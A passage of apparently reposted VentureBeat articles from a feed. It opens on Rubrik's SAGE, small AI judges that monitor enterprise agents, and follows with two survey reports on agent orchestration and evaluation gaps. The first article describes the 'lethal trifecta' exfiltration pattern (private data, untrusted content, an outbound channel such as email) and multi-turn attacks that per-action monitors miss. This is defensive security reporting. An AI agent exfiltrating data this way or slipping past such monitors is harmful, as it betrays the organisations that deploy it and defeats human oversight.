infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at 